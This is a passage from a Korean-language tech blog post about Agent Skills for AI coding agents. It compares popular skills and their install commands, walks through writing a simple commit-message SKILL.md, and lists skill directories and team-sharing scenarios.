&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Chrome DevTools Protocol을 사용해 AI 에이전트가 실제 Chrome 브라우저를 제어할 수 있게 해주는 스킬이다. Superpowers 스킬 패밀리의 브라우저 자동화 모듈이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; border-radius: 0 8px 8px 0; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt; 수치 미확인 항목&lt;/b&gt;: 일부 커뮤니티 게시물에서 &quot;Dev-Browser 3.3k&quot; 수치가 언급되지만, 이는 확인이 어렵다. 위에 표기한 obra/superpowers-chrome 204는 2026-03-16 기준 직접 확인한 수치다. Dev-Browser라는 별도 저장소가 있다면 공식 출처를 직접 확인하기 바란다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 30px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주요 스킬 한눈에 비교&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;위에서 소개한 스킬들을 한 표로 정리한다. GitHub Stars는 2026-03-16 기준이며 이후 변동될 수 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 13px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;스킬명&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;제작&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;GitHub Stars&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;주요 기능&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설치 명령&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;대상 사용자&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Frontend Design&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;94,479 (모음집)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;AI 티 없애기, 독창적 UI 유도, 금지 폰트/색상 패턴 정의&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 12px;&quot;&gt;npx skills add frontend-design&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;프론트엔드 개발자, 디자이너&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Planning with Files&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;OthmanAdi&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;16,151&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;파일 기반 작업 계획, 컨텍스트 초기화 대응, Hooks 내장&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 12px;&quot;&gt;npx skills add planning-with-files&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;장기 작업, 복잡한 리팩터링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Superpowers&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;obra&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;86,879&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;brainstorming&amp;rarr;finishing 7단계 워크플로우, TDD, 코드 리뷰&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 12px;&quot;&gt;npx skills add superpowers&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;풀스택 개발자, AI 코딩 에이전트 활용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Humanizer&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;blader&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;9,423&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;AI 문체 패턴 제거, em dash 남용&amp;middot;vague attributions 금지&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 12px;&quot;&gt;npx skills add humanizer&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;테크 라이터, 마케터, 블로거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MCP Builder&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;94,479 (모음집)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;MCP 서버 설계&amp;rarr;구현&amp;rarr;테스트&amp;rarr;배포 4단계 가이드&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 12px;&quot;&gt;npx skills add mcp-builder&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;MCP 서버 개발자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Superpowers-Chrome&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;obra&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;204&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;Chrome DevTools Protocol 기반 브라우저 자동화&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 12px;&quot;&gt;npx skills add superpowers-chrome&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;E2E 테스트, 웹 스크래핑 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 12px 15px; border-radius: 0 8px 8px 0; margin: 10px 0 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설치 명령 안내&lt;/b&gt;: anthropics/skills의 스킬은 &lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;npx skills add anthropics/skills --skill &amp;lt;name&amp;gt;&lt;/code&gt; 형식이 권장 문법이다. 위 표의 짧은 슬러그 형식은 skills.sh에 등록된 경우 지원될 수 있으나, 정확한 명령어는 &lt;a style=&quot;color: #856404;&quot; href=&quot;https://skills.sh&quot;&gt;skills.sh&lt;/a&gt;에서 직접 확인하자.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 id=&quot;section5&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 스킬 직접 만들기&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;남이 만든 스킬을 쓰는 것도 좋지만, 나만의 팀 컨벤션이나 반복 작업을 스킬로 만들어 두면 훨씬 강력하다. 아래는 복붙해서 바로 시작할 수 있는 최소 예시다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;최소 예시 &amp;mdash; 커밋 메시지 작성 스킬&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1단계: 디렉토리 만들기&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;dts&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333; line-height: 1.6;&quot;&gt;&lt;code&gt;# 개인 스킬로 설치
mkdir -p ~/.claude/skills/commit-helper

# 또는 크로스플랫폼 표준 경로
mkdir -p ~/.agents/skills/commit-helper&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2단계: SKILL.md 작성&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333; line-height: 1.6;&quot;&gt;&lt;code&gt;---
name: commit-helper
description: |
  Git 커밋 메시지를 작성할 때 활성화된다.
  Conventional Commits 형식을 따르고, 한국어로 작성하며,
  본문에 변경 이유를 포함한다.
  트리거: &quot;커밋&quot;, &quot;commit message&quot;, &quot;git commit&quot; 요청 시
license: MIT
metadata:
  version: 1.0.0
  author: your-name
---

# Commit Helper

Git 커밋 메시지를 Conventional Commits 형식에 맞게 작성하는 스킬이다.

## 형식

```
&amp;lt;type&amp;gt;(&amp;lt;scope&amp;gt;): &amp;lt;subject&amp;gt;

&amp;lt;body&amp;gt;

&amp;lt;footer&amp;gt;
```

## 타입 정의

- **feat**: 새 기능 추가
- **fix**: 버그 수정
- **docs**: 문서 변경
- **refactor**: 리팩터링 (기능 변화 없음)
- **test**: 테스트 추가/수정
- **chore**: 빌드, 의존성 등 기타

## 규칙

1. subject는 50자 이내, 명령형 동사로 시작 (한국어: &quot;추가한다&quot; 아닌 &quot;추가&quot;)
2. body에는 &quot;왜&quot; 변경했는지 반드시 포함
3. 관련 이슈 번호는 footer에 &quot;Closes #123&quot; 형식으로&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3단계: 즉시 테스트&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;vala&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333; line-height: 1.6;&quot;&gt;&lt;code&gt;# Claude Code 재시작 후 테스트
# &quot;이 변경사항에 맞는 커밋 메시지 작성해줘&quot;라고 입력하면
# commit-helper 스킬이 자동으로 활성화된다&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1964&quot; data-origin-height=&quot;1084&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBnXmQ/dJMcaaY1AcQ/3k5B8Ipz0PY5AmRlSmfox0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBnXmQ/dJMcaaY1AcQ/3k5B8Ipz0PY5AmRlSmfox0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBnXmQ/dJMcaaY1AcQ/3k5B8Ipz0PY5AmRlSmfox0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBnXmQ%2FdJMcaaY1AcQ%2F3k5B8Ipz0PY5AmRlSmfox0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1964&quot; height=&quot;1084&quot; data-origin-width=&quot;1964&quot; data-origin-height=&quot;1084&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;스킬 작성 팁 5가지&lt;/h3&gt;
&lt;ol style=&quot;margin: 0 0 20px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;description에 트리거 조건을 명시한다&lt;/b&gt;&lt;br /&gt;에이전트는 Tier 1에서 description만 보고 스킬 활성화 여부를 결정한다. &quot;어떤 상황에서 이 스킬을 써야 하는지&quot;를 구체적으로 적어야 정확하게 호출된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;SKILL.md 본문은 5,000 토큰 미만으로 유지한다&lt;/b&gt;&lt;br /&gt;Tier 2 권장 상한선이다. 그 이상의 내용은 references/ 폴더로 분리하고 필요할 때만 참조하게 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;name은 소문자 영문자&amp;middot;숫자&amp;middot;하이픈만 사용한다&lt;/b&gt;&lt;br /&gt;최대 64자 제한이 있다. 언더스코어(_)나 대문자는 표준에서 허용하지 않는다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;compatibility 필드로 지원 범위를 명확히 한다&lt;/b&gt;&lt;br /&gt;scripts/ 폴더의 셸 스크립트가 macOS에서만 동작한다면, 그 사실을 compatibility에 적어야 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;팀 스킬은 프로젝트 루트의 .agents/skills/에 넣는다&lt;/b&gt;&lt;br /&gt;개인 스킬은 ~/.claude/skills/ 또는 크로스플랫폼 표준 경로인 ~/.agents/skills/에, 팀 전체가 공유해야 하는 스킬은 프로젝트 루트의 .agents/skills/에 넣고 git에 커밋한다. Claude 전용 프로젝트라면 .claude/skills/도 가능하지만, 팀원이 다른 에이전트를 쓴다면 .agents/skills/가 더 범용적이다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 id=&quot;section6&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 스킬 찾는 곳&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;스킬을 찾을 수 있는 공식 경로가 세 곳 있다. 각각 역할이 다르기 때문에 상황에 맞게 활용한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- skills.sh --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;1. skills.sh &amp;mdash; Vercel이 만든 공식 디렉토리 + CLI&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; border-radius: 0 8px 8px 0; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;URL&lt;/b&gt;: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://skills.sh&quot;&gt;https://skills.sh&lt;/a&gt; / &lt;b&gt;CLI 저장소&lt;/b&gt;: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/vercel-labs/skills&quot;&gt;github.com/vercel-labs/skills&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Vercel Labs가 제작한 공식 스킬 디렉토리 사이트와 CLI 도구다. 브라우저에서 스킬을 검색할 수도 있고, 터미널에서 한 줄로 설치할 수도 있다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333; line-height: 1.6;&quot;&gt;&lt;code&gt;# 스킬 검색 (키워드 검색 또는 인터랙티브 선택)
npx skills find frontend

# 스킬 설치 &amp;mdash; GitHub 저장소 지정 방식 (권장)
npx skills add anthropics/skills --skill frontend-design

# 설치된 스킬 목록
npx skills list

# 스킬 제거
npx skills remove frontend-design&lt;/code&gt;&lt;/pre&gt;
&lt;!-- anthropics/skills --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2. anthropics/skills &amp;mdash; Anthropic 공식 스킬 저장소&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; border-radius: 0 8px 8px 0; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;URL&lt;/b&gt;: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/anthropics/skills&quot;&gt;github.com/anthropics/skills&lt;/a&gt; &amp;mdash; 94,479 (2026-03-16 기준)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic이 직접 관리하는 공식 스킬 저장소다. Frontend Design, MCP Builder 등 Anthropic이 검증한 스킬들이 여기에 있다. Claude Code에 최적화되어 있지만 오픈 표준을 따르기 때문에 다른 에이전트에서도 사용 가능하다.&lt;/p&gt;
&lt;!-- agentskills.io --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3. agentskills.io &amp;mdash; 표준 공식 문서&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; border-radius: 0 8px 8px 0; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;URL&lt;/b&gt;: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://agentskills.io&quot;&gt;https://agentskills.io&lt;/a&gt; / &lt;b&gt;표준 저장소&lt;/b&gt;: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/agentskills/agentskills&quot;&gt;github.com/agentskills/agentskills&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;SKILL.md 표준의 공식 문서 사이트다. 스킬 설치보다는 &lt;b&gt;표준 스펙 자체를 이해하거나, 직접 스킬을 만들 때&lt;/b&gt; 참고한다. 지원 플랫폼 목록(32개+)도 여기서 확인할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;skillsmp.com (커뮤니티 마켓플레이스)&lt;/b&gt;: 커뮤니티 보고 기준으로 270,000개 이상의 오픈소스 스킬이 인덱싱되어 있으며 Claude Code, ChatGPT, Codex 등과 호환된다고 알려져 있다. 다만 접근 안정성 및 수치의 정확성은 직접 확인이 필요하다. (&lt;a style=&quot;color: #856404;&quot; href=&quot;https://skillsmp.com&quot;&gt;skillsmp.com&lt;/a&gt; / 2026-03-19 기준 커뮤니티 보고)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: 실제 사용 시나리오 --&gt;
&lt;h2 id=&quot;section7&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 실제 사용 시나리오 3가지&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개념을 알았으면 실제로 어떻게 쓰는지가 중요하다. 현업에서 자주 만나는 세 가지 상황을 구체적으로 살펴본다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 시나리오 A --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 A &amp;mdash; Claude Code에서 만든 스킬을 Codex CLI로 이전하기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code로 한 달 동안 써온 커스텀 커밋 메시지 스킬이 있다. OpenAI Codex CLI로 프로젝트를 옮기게 됐다. 스킬을 다시 만들어야 할까?&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황&lt;/b&gt;: 기존 스킬이 &lt;code style=&quot;background-color: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', Consolas, monospace; font-size: 14px;&quot;&gt;~/.claude/skills/commit-helper/SKILL.md&lt;/code&gt;에 있다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333; line-height: 1.6;&quot;&gt;&lt;code&gt;# 방법 1: 표준 경로로 이동 후 양쪽에 심볼릭 링크
mv ~/.claude/skills/commit-helper ~/.agents/skills/commit-helper

# Claude Code용 링크 (기존 경로 복원)
ln -s ~/.agents/skills/commit-helper ~/.claude/skills/commit-helper

# Codex CLI는 ~/.agents/skills/를 직접 읽으므로 추가 작업 불필요
# ~/.agents/skills/commit-helper/SKILL.md가 있으면 바로 인식

# 방법 2: npx skills CLI로 재설치 (클라우드 저장한 경우)
npx skills add commit-helper&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 12px 15px; border-radius: 0 8px 8px 0; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심&lt;/b&gt;: SKILL.md 파일 자체는 그대로다. 에이전트만 바뀌었을 뿐이고, 오픈 표준이기 때문에 수정 없이 바로 작동한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 시나리오 B --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 B &amp;mdash; 팀 레포에 .agents/skills/로 스킬 공유하기&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2030&quot; data-origin-height=&quot;1118&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TxUYP/dJMcajhks41/Acl4weQHe8O8knPtVkioqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TxUYP/dJMcajhks41/Acl4weQHe8O8knPtVkioqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TxUYP/dJMcajhks41/Acl4weQHe8O8knPtVkioqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTxUYP%2FdJMcajhks41%2FAcl4weQHe8O8knPtVkioqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2030&quot; height=&quot;1118&quot; data-origin-width=&quot;2030&quot; data-origin-height=&quot;1118&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;팀 전체가 같은 코드 리뷰 기준을 써야 한다. 각자가 개별적으로 스킬을 설치하면 버전이 달라질 수 있다. 프로젝트 레포에 스킬을 커밋해서 공유하는 방법이다.&lt;/p&gt;
&lt;pre class=&quot;dts&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333; line-height: 1.6;&quot;&gt;&lt;code&gt;# 프로젝트 루트에 스킬 디렉토리 생성
mkdir -p .agents/skills/code-review

# SKILL.md 작성
touch .agents/skills/code-review/SKILL.md

# git에 커밋 (팀 전체가 자동으로 동기화)
git add .agents/skills/
git commit -m &quot;feat: 팀 코드 리뷰 스킬 추가&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;팀원이 레포를 클론하거나 pull 받으면 &lt;code style=&quot;background-color: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', Consolas, monospace; font-size: 14px;&quot;&gt;.agents/skills/code-review/SKILL.md&lt;/code&gt;가 자동으로 반영된다. Claude Code, Codex CLI, Gemini CLI 등 표준 지원 에이전트라면 프로젝트 로컬 스킬을 자동으로 인식한다.&lt;/p&gt;
